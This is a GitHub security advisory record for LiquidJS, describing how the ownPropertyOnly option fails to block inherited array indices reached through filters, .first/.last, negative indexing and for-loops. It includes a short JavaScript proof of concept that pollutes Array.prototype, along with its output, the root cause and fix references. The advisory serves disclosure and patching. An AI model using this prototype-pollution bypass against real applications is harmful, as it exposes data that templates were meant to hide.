GHSA-FWXR-J5W2-587M

Vulnerability from github – Published: 2026-10-07 16:19 – Updated: 2026-10-07 16:19
VLAI
Summary
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
Details

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

{{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";

const a = [];
a.length = 1;

const o = {};

for (const [src, scope] of [
  ["{{ a[0] }}", { a }],
  ["{{ a[-1] }}", { a }],
  ["{{ o.secret }}", { o }],
  ["{{ a.first }}", { a }],
  ["{{ a.last }}", { a }],
  ["{{ a | first }}", { a }],
  ["{{ a | last }}", { a }],
  ["{{ a | join: ',' }}", { a }],
  ["{{ a | reverse | first }}", { a }],
  ["{{ a | slice: 0, 1 | join: ',' }}", { a }],
  ["{{ a | compact | join: ',' }}", { a }],
  ["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
  console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}

delete Array.prototype[0];
delete Object.prototype.secret;

Observed behavior

{{ a[0] }}                                  => ""
{{ a[-1] }}                                 => "ARRAY_PROTO_POLLUTED"
{{ o.secret }}                              => ""
{{ a.first }}                               => "ARRAY_PROTO_POLLUTED"
{{ a.last }}                                => "ARRAY_PROTO_POLLUTED"
{{ a | first }}                             => "ARRAY_PROTO_POLLUTED"
{{ a | last }}                              => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }}                         => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }}                   => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }}           => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }}               => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %}       => "[ARRAY_PROTO_POLLUTED]"

Expected behavior

When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:

{{ a[0] }}
{{ o.secret }}

Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.

Root cause

ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.

Examples include:

negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices

Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.27.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.27.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:19:09Z",
    "nvd_published_at": "2026-10-06T19:17:42Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nLiquidJS\u2019s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: \u0027,\u0027 }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: \u0027,\u0027 }}\", { a }],\n  [\"{{ a | compact | join: \u0027,\u0027 }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=\u003e\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  =\u003e \"\"\n{{ a[-1] }}                                 =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              =\u003e \"\"\n{{ a.first }}                               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: \u0027,\u0027 }}                         =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: \u0027,\u0027 }}           =\u003e \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: \u0027,\u0027 }}               =\u003e \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       =\u003e \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.",
  "id": "GHSA-fwxr-j5w2-587m",
  "modified": "2026-10-07T16:19:09Z",
  "published": "2026-10-07T16:19:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/pull/924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/releases/tag/v10.27.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…